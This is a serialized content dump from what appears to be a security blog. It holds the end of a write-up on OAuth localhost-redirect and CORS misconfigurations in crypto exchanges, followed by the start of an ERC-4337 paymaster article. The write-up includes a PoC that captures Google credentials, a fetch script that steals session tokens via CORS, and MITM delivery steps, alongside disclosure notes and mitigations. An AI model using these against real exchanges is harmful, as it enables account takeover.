\"\"\n",{"type":20,"tag":315,"props":99493,"children":99494},{"class":317,"line":7444},[99495,99499,99504,99508,99512],{"type":20,"tag":315,"props":99496,"children":99497},{"style":328},[99498],{"type":26,"value":99473},{"type":20,"tag":315,"props":99500,"children":99501},{"style":2652},[99502],{"type":26,"value":99503},"\"defer\"",{"type":20,"tag":315,"props":99505,"children":99506},{"style":328},[99507],{"type":26,"value":7057},{"type":20,"tag":315,"props":99509,"children":99510},{"style":334},[99511],{"type":26,"value":337},{"type":20,"tag":315,"props":99513,"children":99514},{"style":2652},[99515],{"type":26,"value":99491},{"type":20,"tag":315,"props":99517,"children":99518},{"class":317,"line":7462},[99519],{"type":20,"tag":315,"props":99520,"children":99521},{"style":328},[99522],{"type":26,"value":69304},{"type":20,"tag":315,"props":99524,"children":99525},{"class":317,"line":7507},[99526,99530],{"type":20,"tag":315,"props":99527,"children":99528},{"style":345},[99529],{"type":26,"value":69279},{"type":20,"tag":315,"props":99531,"children":99532},{"style":328},[99533],{"type":26,"value":1092},{"type":20,"tag":315,"props":99535,"children":99536},{"class":317,"line":7613},[99537,99542],{"type":20,"tag":315,"props":99538,"children":99539},{"style":345},[99540],{"type":26,"value":99541}," unsafe",{"type":20,"tag":315,"props":99543,"children":99544},{"style":328},[99545],{"type":26,"value":1092},{"type":20,"tag":315,"props":99547,"children":99548},{"class":317,"line":21914},[99549,99554],{"type":20,"tag":315,"props":99550,"children":99551},{"style":334},[99552],{"type":26,"value":99553}," +",{"type":20,"tag":315,"props":99555,"children":99556},{"style":2652},[99557],{"type":26,"value":99558},"\"\"\"\n",{"type":20,"tag":315,"props":99560,"children":99561},{"class":317,"line":21949},[99562],{"type":20,"tag":315,"props":99563,"children":99564},{"style":2652},[99565],{"type":26,"value":99566}," function handleCredentialResponse(response) {\n",{"type":20,"tag":315,"props":99568,"children":99569},{"class":317,"line":21957},[99570],{"type":20,"tag":315,"props":99571,"children":99572},{"style":2652},[99573],{"type":26,"value":99574}," alert(\"credential: \" + response.credential);\n",{"type":20,"tag":315,"props":99576,"children":99577},{"class":317,"line":21965},[99578],{"type":20,"tag":315,"props":99579,"children":99580},{"style":2652},[99581],{"type":26,"value":1736},{"type":20,"tag":315,"props":99583,"children":99584},{"class":317,"line":21974},[99585],{"type":20,"tag":315,"props":99586,"children":99587},{"emptyLinePlaceholder":15},[99588],{"type":26,"value":427},{"type":20,"tag":315,"props":99590,"children":99591},{"class":317,"line":22016},[99592],{"type":20,"tag":315,"props":99593,"children":99594},{"style":2652},[99595],{"type":26,"value":99596}," window.onload = async function () {\n",{"type":20,"tag":315,"props":99598,"children":99599},{"class":317,"line":22049},[99600],{"type":20,"tag":315,"props":99601,"children":99602},{"style":2652},[99603],{"type":26,"value":99604}," const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":20,"tag":315,"props":99606,"children":99607},{"class":317,"line":22057},[99608],{"type":20,"tag":315,"props":99609,"children":99610},{"style":2652},[99611],{"type":26,"value":99612}," const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":20,"tag":315,"props":99614,"children":99615},{"class":317,"line":22065},[99616],{"type":20,"tag":315,"props":99617,"children":99618},{"style":2652},[99619],{"type":26,"value":99620}," google.accounts.id.initialize({\n",{"type":20,"tag":315,"props":99622,"children":99623},{"class":317,"line":22074},[99624],{"type":20,"tag":315,"props":99625,"children":99626},{"style":2652},[99627],{"type":26,"value":99628}," client_id: client_id,\n",{"type":20,"tag":315,"props":99630,"children":99631},{"class":317,"line":22150},[99632],{"type":20,"tag":315,"props":99633,"children":99634},{"style":2652},[99635],{"type":26,"value":99636}," callback: handleCredentialResponse,\n",{"type":20,"tag":315,"props":99638,"children":99639},{"class":317,"line":22183},[99640],{"type":20,"tag":315,"props":99641,"children":99642},{"style":2652},[99643],{"type":26,"value":99644}," auto_select: true\n",{"type":20,"tag":315,"props":99646,"children":99647},{"class":317,"line":22191},[99648],{"type":20,"tag":315,"props":99649,"children":99650},{"style":2652},[99651],{"type":26,"value":5691},{"type":20,"tag":315,"props":99653,"children":99654},{"class":317,"line":22199},[99655],{"type":20,"tag":315,"props":99656,"children":99657},{"emptyLinePlaceholder":15},[99658],{"type":26,"value":427},{"type":20,"tag":315,"props":99660,"children":99661},{"class":317,"line":22236},[99662],{"type":20,"tag":315,"props":99663,"children":99664},{"style":2652},[99665],{"type":26,"value":99666}," google.accounts.id.renderButton(\n",{"type":20,"tag":315,"props":99668,"children":99669},{"class":317,"line":22249},[99670],{"type":20,"tag":315,"props":99671,"children":99672},{"style":2652},[99673],{"type":26,"value":99674}," document.getElementById(\"g_id_signin\"),\n",{"type":20,"tag":315,"props":99676,"children":99677},{"class":317,"line":22262},[99678],{"type":20,"tag":315,"props":99679,"children":99680},{"style":2652},[99681],{"type":26,"value":99682}," { theme: \"outline\", size: \"large\" }\n",{"type":20,"tag":315,"props":99684,"children":99685},{"class":317,"line":22275},[99686],{"type":20,"tag":315,"props":99687,"children":99688},{"style":2652},[99689],{"type":26,"value":5161},{"type":20,"tag":315,"props":99691,"children":99692},{"class":317,"line":22329},[99693],{"type":20,"tag":315,"props":99694,"children":99695},{"emptyLinePlaceholder":15},[99696],{"type":26,"value":427},{"type":20,"tag":315,"props":99698,"children":99699},{"class":317,"line":22338},[99700],{"type":20,"tag":315,"props":99701,"children":99702},{"style":2652},[99703],{"type":26,"value":99704}," google.accounts.id.prompt();\n",{"type":20,"tag":315,"props":99706,"children":99707},{"class":317,"line":30696},[99708],{"type":20,"tag":315,"props":99709,"children":99710},{"style":2652},[99711],{"type":26,"value":37413},{"type":20,"tag":315,"props":99713,"children":99714},{"class":317,"line":30717},[99715,99720,99724,99729],{"type":20,"tag":315,"props":99716,"children":99717},{"style":2652},[99718],{"type":26,"value":99719}," \"\"\"",{"type":20,"tag":315,"props":99721,"children":99722},{"style":328},[99723],{"type":26,"value":61},{"type":20,"tag":315,"props":99725,"children":99726},{"style":345},[99727],{"type":26,"value":99728},"trimIndent",{"type":20,"tag":315,"props":99730,"children":99731},{"style":328},[99732],{"type":26,"value":6131},{"type":20,"tag":315,"props":99734,"children":99735},{"class":317,"line":79209},[99736],{"type":20,"tag":315,"props":99737,"children":99738},{"style":328},[99739],{"type":26,"value":99740}," }\n",{"type":20,"tag":315,"props":99742,"children":99743},{"class":317,"line":79222},[99744],{"type":20,"tag":315,"props":99745,"children":99746},{"style":328},[99747],{"type":26,"value":69304},{"type":20,"tag":315,"props":99749,"children":99750},{"class":317,"line":79230},[99751],{"type":20,"tag":315,"props":99752,"children":99753},{"style":328},[99754],{"type":26,"value":69234},{"type":20,"tag":315,"props":99756,"children":99757},{"class":317,"line":79238},[99758,99762],{"type":20,"tag":315,"props":99759,"children":99760},{"style":345},[99761],{"type":26,"value":69242},{"type":20,"tag":315,"props":99763,"children":99764},{"style":328},[99765],{"type":26,"value":1092},{"type":20,"tag":315,"props":99767,"children":99768},{"class":317,"line":79246},[99769,99773,99777,99781,99786],{"type":20,"tag":315,"props":99770,"children":99771},{"style":345},[99772],{"type":26,"value":69254},{"type":20,"tag":315,"props":99774,"children":99775},{"style":328},[99776],{"type":26,"value":7985},{"type":20,"tag":315,"props":99778,"children":99779},{"style":334},[99780],{"type":26,"value":817},{"type":20,"tag":315,"props":99782,"children":99783},{"style":2652},[99784],{"type":26,"value":99785},"\"Login here:\"",{"type":20,"tag":315,"props":99787,"children":99788},{"style":328},[99789],{"type":26,"value":7995},{"type":20,"tag":315,"props":99791,"children":99792},{"class":317,"line":79286},[99793,99798],{"type":20,"tag":315,"props":99794,"children":99795},{"style":345},[99796],{"type":26,"value":99797}," div",{"type":20,"tag":315,"props":99799,"children":99800},{"style":328},[99801],{"type":26,"value":1092},{"type":20,"tag":315,"props":99803,"children":99804},{"class":317,"line":79294},[99805,99810,99814],{"type":20,"tag":315,"props":99806,"children":99807},{"style":328},[99808],{"type":26,"value":99809}," id ",{"type":20,"tag":315,"props":99811,"children":99812},{"style":334},[99813],{"type":26,"value":337},{"type":20,"tag":315,"props":99815,"children":99816},{"style":2652},[99817],{"type":26,"value":99818}," \"g_id_signin\"\n",{"type":20,"tag":315,"props":99820,"children":99821},{"class":317,"line":86481},[99822],{"type":20,"tag":315,"props":99823,"children":99824},{"style":328},[99825],{"type":26,"value":69304},{"type":20,"tag":315,"props":99827,"children":99828},{"class":317,"line":86489},[99829],{"type":20,"tag":315,"props":99830,"children":99831},{"style":328},[99832],{"type":26,"value":69234},{"type":20,"tag":315,"props":99834,"children":99836},{"class":317,"line":99835},62,[99837],{"type":20,"tag":315,"props":99838,"children":99839},{"style":328},[99840],{"type":26,"value":69319},{"type":20,"tag":315,"props":99842,"children":99844},{"class":317,"line":99843},63,[99845],{"type":20,"tag":315,"props":99846,"children":99847},{"style":328},[99848],{"type":26,"value":69327},{"type":20,"tag":315,"props":99850,"children":99852},{"class":317,"line":99851},64,[99853],{"type":20,"tag":315,"props":99854,"children":99855},{"style":328},[99856],{"type":26,"value":57138},{"type":20,"tag":315,"props":99858,"children":99860},{"class":317,"line":99859},65,[99861,99865,99869,99873,99877,99881],{"type":20,"tag":315,"props":99862,"children":99863},{"style":328},[99864],{"type":26,"value":69342},{"type":20,"tag":315,"props":99866,"children":99867},{"style":345},[99868],{"type":26,"value":69347},{"type":20,"tag":315,"props":99870,"children":99871},{"style":328},[99872],{"type":26,"value":69352},{"type":20,"tag":315,"props":99874,"children":99875},{"style":334},[99876],{"type":26,"value":337},{"type":20,"tag":315,"props":99878,"children":99879},{"style":541},[99880],{"type":26,"value":544},{"type":20,"tag":315,"props":99882,"children":99883},{"style":328},[99884],{"type":26,"value":380},{"type":20,"tag":315,"props":99886,"children":99888},{"class":317,"line":99887},66,[99889],{"type":20,"tag":315,"props":99890,"children":99891},{"style":328},[99892],{"type":26,"value":1736},{"type":20,"tag":29,"props":99894,"children":99895},{},[99896],{"type":26,"value":99897},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":20,"tag":29,"props":99899,"children":99900},{},[99901],{"type":26,"value":99902},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":20,"tag":219,"props":99904,"children":99906},{"id":99905},"how-to-mitigate",[99907],{"type":26,"value":99908},"How to Mitigate",{"type":20,"tag":29,"props":99910,"children":99911},{},[99912],{"type":26,"value":99913},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":20,"tag":21,"props":99915,"children":99917},{"id":99916},"exploiting-cors",[99918],{"type":26,"value":99919},"Exploiting CORS",{"type":20,"tag":29,"props":99921,"children":99922},{},[99923],{"type":26,"value":99924},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":20,"tag":29,"props":99926,"children":99927},{},[99928,99930,99936],{"type":26,"value":99929},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":20,"tag":119,"props":99931,"children":99933},{"className":99932},[],[99934],{"type":26,"value":99935},"http://",{"type":26,"value":99937}," schema for any subdomain:",{"type":20,"tag":305,"props":99939,"children":99943},{"className":99940,"code":99941,"language":99942,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[99944],{"type":20,"tag":119,"props":99945,"children":99946},{"__ignoreMap":7},[99947,99955,99963,99971],{"type":20,"tag":315,"props":99948,"children":99949},{"class":317,"line":318},[99950],{"type":20,"tag":315,"props":99951,"children":99952},{},[99953],{"type":26,"value":99954},"HTTP 200 OK\n",{"type":20,"tag":315,"props":99956,"children":99957},{"class":317,"line":356},[99958],{"type":20,"tag":315,"props":99959,"children":99960},{},[99961],{"type":26,"value":99962},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":20,"tag":315,"props":99964,"children":99965},{"class":317,"line":365},[99966],{"type":20,"tag":315,"props":99967,"children":99968},{},[99969],{"type":26,"value":99970},"Access-Control-Allow-Credentials: true\n",{"type":20,"tag":315,"props":99972,"children":99973},{"class":317,"line":374},[99974],{"type":20,"tag":315,"props":99975,"children":99976},{},[99977],{"type":26,"value":8718},{"type":20,"tag":219,"props":99979,"children":99981},{"id":99980},"cors-misconfiguration-by-lack-of-tls",[99982],{"type":26,"value":99983},"CORS Misconfiguration by Lack of TLS",{"type":20,"tag":29,"props":99985,"children":99986},{},[99987,99989,99995],{"type":26,"value":99988},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":20,"tag":119,"props":99990,"children":99992},{"className":99991},[],[99993],{"type":26,"value":99994},"exchange.com",{"type":26,"value":99996}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":20,"tag":29,"props":99998,"children":99999},{},[100000],{"type":26,"value":100001},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":20,"tag":15089,"props":100003,"children":100004},{},[100005,100025],{"type":20,"tag":72,"props":100006,"children":100007},{},[100008,100010,100015,100017,100023],{"type":26,"value":100009},"Chrome --> won't work because cookies are not sent in ",{"type":20,"tag":119,"props":100011,"children":100013},{"className":100012},[],[100014],{"type":26,"value":99935},{"type":26,"value":100016}," --> ",{"type":20,"tag":119,"props":100018,"children":100020},{"className":100019},[],[100021],{"type":26,"value":100022},"https://",{"type":26,"value":100024}," requests, even if same-site",{"type":20,"tag":72,"props":100026,"children":100027},{},[100028,100030],{"type":26,"value":100029},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":20,"tag":119,"props":100031,"children":100033},{"className":100032},[],[100034],{"type":26,"value":36181},{"type":20,"tag":219,"props":100036,"children":100038},{"id":100037},"exploit-1",[100039],{"type":26,"value":98369},{"type":20,"tag":29,"props":100041,"children":100042},{},[100043],{"type":26,"value":100044},"To exploit it, we must follow some steps:",{"type":20,"tag":68,"props":100046,"children":100047},{},[100048,100053,100058],{"type":20,"tag":72,"props":100049,"children":100050},{},[100051],{"type":26,"value":100052},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":20,"tag":72,"props":100054,"children":100055},{},[100056],{"type":26,"value":100057},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":20,"tag":72,"props":100059,"children":100060},{},[100061,100063,100068],{"type":26,"value":100062},"Use ",{"type":20,"tag":119,"props":100064,"children":100066},{"className":100065},[],[100067],{"type":26,"value":36181},{"type":26,"value":100069}," with CORS to do something malicious using the victim's account",{"type":20,"tag":29,"props":100071,"children":100072},{},[100073],{"type":26,"value":100074},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":20,"tag":29,"props":100076,"children":100077},{},[100078,100080,100085],{"type":26,"value":100079},"Once the redirect to the ",{"type":20,"tag":119,"props":100081,"children":100083},{"className":100082},[],[100084],{"type":26,"value":99935},{"type":26,"value":100086}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":20,"tag":305,"props":100088,"children":100090},{"className":29779,"code":100089,"language":29781,"meta":7,"style":7},"(async () => {\n let res = await fetch('https://www.exchange.com/api/session_token', {\n credentials: 'include',\n method: 'POST',\n });\n console.log(await res.json());\n})();\n",[100091],{"type":20,"tag":119,"props":100092,"children":100093},{"__ignoreMap":7},[100094,100117,100154,100171,100188,100195,100236],{"type":20,"tag":315,"props":100095,"children":100096},{"class":317,"line":318},[100097,100101,100105,100109,100113],{"type":20,"tag":315,"props":100098,"children":100099},{"style":328},[100100],{"type":26,"value":1049},{"type":20,"tag":315,"props":100102,"children":100103},{"style":541},[100104],{"type":26,"value":34561},{"type":20,"tag":315,"props":100106,"children":100107},{"style":328},[100108],{"type":26,"value":38113},{"type":20,"tag":315,"props":100110,"children":100111},{"style":541},[100112],{"type":26,"value":13222},{"type":20,"tag":315,"props":100114,"children":100115},{"style":328},[100116],{"type":26,"value":1092},{"type":20,"tag":315,"props":100118,"children":100119},{"class":317,"line":356},[100120,100124,100129,100133,100137,100141,100145,100150],{"type":20,"tag":315,"props":100121,"children":100122},{"style":541},[100123],{"type":26,"value":6251},{"type":20,"tag":315,"props":100125,"children":100126},{"style":635},[100127],{"type":26,"value":100128}," res",{"type":20,"tag":315,"props":100130,"children":100131},{"style":334},[100132],{"type":26,"value":1395},{"type":20,"tag":315,"props":100134,"children":100135},{"style":525},[100136],{"type":26,"value":34627},{"type":20,"tag":315,"props":100138,"children":100139},{"style":345},[100140],{"type":26,"value":31343},{"type":20,"tag":315,"props":100142,"children":100143},{"style":328},[100144],{"type":26,"value":1049},{"type":20,"tag":315,"props":100146,"children":100147},{"style":2652},[100148],{"type":26,"value":100149},"'https://www.exchange.com/api/session_token'",{"type":20,"tag":315,"props":100151,"children":100152},{"style":328},[100153],{"type":26,"value":47133},{"type":20,"tag":315,"props":100155,"children":100156},{"class":317,"line":365},[100157,100162,100167],{"type":20,"tag":315,"props":100158,"children":100159},{"style":635},[100160],{"type":26,"value":100161}," credentials:",{"type":20,"tag":315,"props":100163,"children":100164},{"style":2652},[100165],{"type":26,"value":100166}," 'include'",{"type":20,"tag":315,"props":100168,"children":100169},{"style":328},[100170],{"type":26,"value":643},{"type":20,"tag":315,"props":100172,"children":100173},{"class":317,"line":374},[100174,100179,100184],{"type":20,"tag":315,"props":100175,"children":100176},{"style":635},[100177],{"type":26,"value":100178}," method:",{"type":20,"tag":315,"props":100180,"children":100181},{"style":2652},[100182],{"type":26,"value":100183}," 'POST'",{"type":20,"tag":315,"props":100185,"children":100186},{"style":328},[100187],{"type":26,"value":643},{"type":20,"tag":315,"props":100189,"children":100190},{"class":317,"line":383},[100191],{"type":20,"tag":315,"props":100192,"children":100193},{"style":328},[100194],{"type":26,"value":96452},{"type":20,"tag":315,"props":100196,"children":100197},{"class":317,"line":407},[100198,100203,100207,100212,100216,100220,100224,100228,100232],{"type":20,"tag":315,"props":100199,"children":100200},{"style":635},[100201],{"type":26,"value":100202}," console",{"type":20,"tag":315,"props":100204,"children":100205},{"style":328},[100206],{"type":26,"value":61},{"type":20,"tag":315,"props":100208,"children":100209},{"style":345},[100210],{"type":26,"value":100211},"log",{"type":20,"tag":315,"props":100213,"children":100214},{"style":328},[100215],{"type":26,"value":1049},{"type":20,"tag":315,"props":100217,"children":100218},{"style":525},[100219],{"type":26,"value":31330},{"type":20,"tag":315,"props":100221,"children":100222},{"style":635},[100223],{"type":26,"value":100128},{"type":20,"tag":315,"props":100225,"children":100226},{"style":328},[100227],{"type":26,"value":61},{"type":20,"tag":315,"props":100229,"children":100230},{"style":345},[100231],{"type":26,"value":32412},{"type":20,"tag":315,"props":100233,"children":100234},{"style":328},[100235],{"type":26,"value":13826},{"type":20,"tag":315,"props":100237,"children":100238},{"class":317,"line":421},[100239],{"type":20,"tag":315,"props":100240,"children":100241},{"style":328},[100242],{"type":26,"value":100243},"})();\n",{"type":20,"tag":29,"props":100245,"children":100246},{},[100247],{"type":26,"value":100248},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":20,"tag":219,"props":100250,"children":100251},{"id":38750},[100252],{"type":26,"value":38753},{"type":20,"tag":29,"props":100254,"children":100255},{},[100256,100258,100263],{"type":26,"value":100257},"As mitigation, it is recommended to remove all ",{"type":20,"tag":119,"props":100259,"children":100261},{"className":100260},[],[100262],{"type":26,"value":99935},{"type":26,"value":100264}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":20,"tag":29,"props":100266,"children":100267},{},[100268],{"type":26,"value":100269},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":20,"tag":21,"props":100271,"children":100272},{"id":1211},[100273],{"type":26,"value":1214},{"type":20,"tag":29,"props":100275,"children":100276},{},[100277],{"type":26,"value":100278},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":20,"tag":29,"props":100280,"children":100281},{},[100282],{"type":26,"value":100283},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":20,"tag":1226,"props":100285,"children":100286},{},[100287],{"type":26,"value":1230},{"title":7,"searchDepth":356,"depth":356,"links":100289},[100290,100295,100300],{"id":97974,"depth":356,"text":97977,"children":100291},[100292,100293,100294],{"id":97985,"depth":365,"text":97988},{"id":98342,"depth":365,"text":98345},{"id":99905,"depth":365,"text":99908},{"id":99916,"depth":356,"text":99919,"children":100296},[100297,100298,100299],{"id":99980,"depth":365,"text":99983},{"id":100037,"depth":365,"text":98369},{"id":38750,"depth":365,"text":38753},{"id":1211,"depth":356,"text":1214},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":100305,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100306,"description":100307,"date":100308,"author":100309,"image":100310,"isFeatured":15,"onBlogPage":15,"tags":100312,"body":100315,"_type":1242,"_id":106087,"_source":1244,"_file":106088,"_stem":106089,"_extension":1247},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":100311,"width":95526,"height":12024},"/posts/paymasters-evm/title.png",[100313,100314],"evm","ERC-4337",{"type":17,"children":100316,"toc":106066},[100317,100321,100332,100337,100342,100347,100353,100359,100364,100369,100375,100380,100408,100414,100419,100426,100431,100441,100446,100472,100478,100498,100504,100524,100532,100563,100596,100605,100617,100642,100654,100667,100710,100716,100749,100848,100867,100890,100895,100901,100929,101076,101081,101108,101114,101126,101138,101147,101182,101187,102672,102700,102721,102726,102738,102747,102752,102770,102793,102798,102804,102858,102864,102897,102932,103756,103792,103828,103894,103927,104425,104478,104490,105054,105123,105150,105772,105814,105841,105853,105914,105933,105967,105972,105977,105982,105986,105991,106026,106052,106057,106062],{"type":20,"tag":33788,"props":100318,"children":100319},{"id":23},[100320],{"type":26,"value":27},{"type":20,"tag":29,"props":100322,"children":100323},{},[100324,100330],{"type":20,"tag":35,"props":100325,"children":100328},{"href":100326,"rel":100327},"https://docs.erc4337.io/",[39],[100329],{"type":26,"value":100314},{"type":26,"value":100331}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":20,"tag":29,"props":100333,"children":100334},{},[100335],{"type":26,"value":100336},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":20,"tag":29,"props":100338,"children":100339},{},[100340],{"type":26,"value":100341},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":20,"tag":29,"props":100343,"children":100344},{},[100345],{"type":26,"value":100346},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":20,"tag":33788,"props":100348,"children":100350},{"id":100349},"erc4337-overview",[100351],{"type":26,"value":100352},"ERC4337 Overview",{"type":20,"tag":21,"props":100354,"children":100356},{"id":100355},"traditional-eoas-vs-smart-contract-wallets",[100357],{"type":26,"value":100358},"Traditional EOAs vs Smart Contract Wallets",{"type":20,"tag":29,"props":100360,"children":100361},{},[100362],{"type":26,"value":100363},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":20,"tag":29,"props":100365,"children":100366},{},[100367],{"type":26,"value":100368},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":20,"tag":21,"props":100370,"children":100372},{"id":100371},"why-erc4337-was-introduced",[100373],{"type":26,"value":100374},"Why ERC‑4337 Was Introduced",{"type":20,"tag":29,"props":100376,"children":100377},{},[100378],{"type":26,"value":100379},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":20,"tag":15089,"props":100381,"children":100382},{},[100383,100388,100393,100398,100403],{"type":20,"tag":72,"props":100384,"children":100385},{},[100386],{"type":26,"value":100387},"User recovery for lost keys (e.g. social recovery)",{"type":20,"tag":72,"props":100389,"children":100390},{},[100391],{"type":26,"value":100392},"Batched or atomic multi-step operations in one flow",{"type":20,"tag":72,"props":100394,"children":100395},{},[100396],{"type":26,"value":100397},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":20,"tag":72,"props":100399,"children":100400},{},[100401],{"type":26,"value":100402},"Using custom signature schemes or multisig logic",{"type":20,"tag":72,"props":100404,"children":100405},{},[100406],{"type":26,"value":100407},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":20,"tag":21,"props":100409,"children":100411},{"id":100410},"how-erc-4337-works",[100412],{"type":26,"value":100413},"How ERC-4337 Works",{"type":20,"tag":29,"props":100415,"children":100416},{},[100417],{"type":26,"value":100418},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":20,"tag":29,"props":100420,"children":100421},{},[100422],{"type":20,"tag":2308,"props":100423,"children":100425},{"alt":48830,"src":100424},"/posts/paymasters-evm/flowchart.png",[],{"type":20,"tag":29,"props":100427,"children":100428},{},[100429],{"type":26,"value":100430},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":20,"tag":219,"props":100432,"children":100434},{"id":100433},"useroperation",[100435],{"type":20,"tag":119,"props":100436,"children":100438},{"className":100437},[],[100439],{"type":26,"value":100440},"UserOperation",{"type":20,"tag":29,"props":100442,"children":100443},{},[100444],{"type":26,"value":100445},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":20,"tag":15089,"props":100447,"children":100448},{},[100449,100454,100459],{"type":20,"tag":72,"props":100450,"children":100451},{},[100452],{"type":26,"value":100453},"Target contract call(s)",{"type":20,"tag":72,"props":100455,"children":100456},{},[100457],{"type":26,"value":100458},"Signature or validation metadata",{"type":20,"tag":72,"props":100460,"children":100461},{},[100462,100464,100470],{"type":26,"value":100463},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":20,"tag":119,"props":100465,"children":100467},{"className":100466},[],[100468],{"type":26,"value":100469},"UserOperations",{"type":26,"value":100471}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":20,"tag":219,"props":100473,"children":100475},{"id":100474},"smart-contract-account",[100476],{"type":26,"value":100477},"Smart Contract Account",{"type":20,"tag":29,"props":100479,"children":100480},{},[100481,100483,100489,100490,100496],{"type":26,"value":100482},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":20,"tag":119,"props":100484,"children":100486},{"className":100485},[],[100487],{"type":26,"value":100488},"validateUserOp()",{"type":26,"value":9392},{"type":20,"tag":119,"props":100491,"children":100493},{"className":100492},[],[100494],{"type":26,"value":100495},"executeUserOp()",{"type":26,"value":100497},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":20,"tag":219,"props":100499,"children":100501},{"id":100500},"bundler",[100502],{"type":26,"value":100503},"Bundler",{"type":20,"tag":29,"props":100505,"children":100506},{},[100507,100509,100514,100516,100522],{"type":26,"value":100508},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple 